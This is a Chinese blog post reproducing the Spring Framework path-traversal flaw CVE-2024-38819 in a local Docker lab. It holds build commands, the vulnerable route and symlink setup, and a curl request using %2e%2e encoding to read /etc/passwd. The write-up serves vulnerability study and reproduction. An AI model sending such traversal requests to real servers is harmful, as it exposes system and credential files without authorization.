CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞复现

news/2025/2/25 9:24:48/
操作:

根据CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞搭建复现的靶场环境

拿到环境的源码使用docker搭建

cd vuln

创建容器并启动

 docker build -t cve-2024-38819-poc .docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc

注意在创建的时候有些镜像无法拉取到,可以在Dockerfile文件中修改配置使用其他的镜像

使用命令来验证是否存在漏洞

curl http://localhost:8080/static/link/%2e%2e/etc/passwd

请求成功返回了 /etc/passwd 文件的内容,证明存在该漏洞

该漏洞利用了路径遍历问题,使攻击者能够访问系统中本不应暴露的文件(如 /etc/passwd)。攻击者能够进一步利用该信息来获取其他敏感数据或执行任意代码。

解析:
  1. 设置静态资源路由:创建 PathTraversalDemoApplication.java 文件,使用 RouterFunctionFileSystemResource 设置静态文件路由

    public RouterFunction<ServerResponse> staticResourceRouter() {return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
    }
    

    这段代码创建了一个静态文件资源的路由。当用户访问 /static/** 路径时,系统会从 /app/static/ 目录中提供文件。

  2. 创建符号链接

    RUN ln -s /static /app/static/link
    

    在 Dockerfile 中,ln -s 命令创建了一个符号链接 /static,指向 /app/static/link。这意味着攻击者可以通过访问 /static/link 来尝试获取指向其他系统路径的文件。

  3. 利用路径遍历漏洞: 通过创建符号链接,攻击者可以尝试构造一个路径遍历的恶意 URL。例如:

    /static/link/%2e%2e/etc/passwd
    

    其中,%2e%2e%2e 编码的 ..,代表父目录。攻击者通过这种方式尝试从 /app/static/ 目录“跳出”并访问系统的其他目录(如 /etc/passwd),从而获取系统敏感信息。


http://www.ppmy.cn/news/1574814.html

相关文章

平衡增长和资金管理,实现企业长期战略目标

在当今的商业环境中&#xff0c;平衡企业未来增长与当下资金管理是财务团队面临的重大挑战。虽然以增长为基本的战略目标可以推动企业创新和扩张&#xff0c;但也会造成当前资源和资产紧张。因此&#xff0c;确保科学合理的现金流管理&#xff0c;对于为企业运营提供资金、支持…

设计模式-Strategy 模式(策略)

解释 Strategy 模式和 Template 模式要解决的问题是相同&#xff08;类似&#xff09;的&#xff0c;都是为了给业务逻辑&#xff08;算法&#xff09;具体实现和抽象接口之间的解耦。Strategy 模式将逻辑&#xff08;算法&#xff09;封装到一个类&#xff08;Context&#x…

网络安全中的ac指什么

防火墙相关知识总结 防火墙介绍 防火墙工作层次部署模式 传统防火墙 1.包过滤防火墙2.状态检测防火墙3.应用代理防火墙ALG技术 防火墙介绍 定义&#xff1a;是一个把网络分成多个区域&#xff0c;不同区域定义不同安全级别&#xff0c;并默认阻止低安全级别区域访问高安全…

小迪安全-24天-文件管理,显示上传,黑白名单,访问控制

上节课回顾&#xff0c;token问题 没有更新token值&#xff0c;造成了复用 加上这段代码就好了&#xff0c;就不会复用了 文件管理-文件上传 upload.html文件&#xff0c;找ai生成就行 uoload.php接受文件上传的信息 这里在写个临时文件存储换个地方 因为上面临时文件存在c盘…

Linux系统网络配置与Bond多网卡绑定

目录 一、查看网络配置命令 1.1、ifconfig 1.2、ip 1.3、hostname 1.4、route 1.5、netstat 1.6、ss 1.7、ping 1.8、traceroute 1.9、nslookup 二、永久修改网络配置 2.1、网络接口配置文件 3.1、主机名配置文件 三、Bonding多网卡绑定 3.1、bondding工作模式 …

快速提升网站收录:利用网站评论互动

利用网站评论互动是快速提升网站收录的一种有效方法。以下是一些关于如何利用网站评论互动来提升网站收录的具体策略&#xff1a; 一、鼓励用户参与评论互动 设置评论区&#xff1a;在网站的相关页面&#xff0c;如文章页、产品页等&#xff0c;设置评论区&#xff0c;方便用…

算法日常刷题笔记(2)

为保持刷题的习惯 计划一天刷3-5题 然后一周总计汇总一下 这是第二篇笔记 笔记时间为2月17日到2月23日 第一天 找到初始输入字符串 找到初始输入字符串 Ihttps://leetcode.cn/problems/find-the-original-typed-string-i/ Alice 正在她的电脑上输入一个字符串。但是她打字技…

一周学会Flask3 Python Web开发-flask3上下文全局变量session,g和current_app

锋哥原创的Flask3 Python Web开发 Flask3视频教程&#xff1a; 2025版 Flask3 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili flask3提供了session,g和current_app上下文全局变量来方便我们操作访问数据。 以下是一个表格&#xff0c;用于比较Flask中的…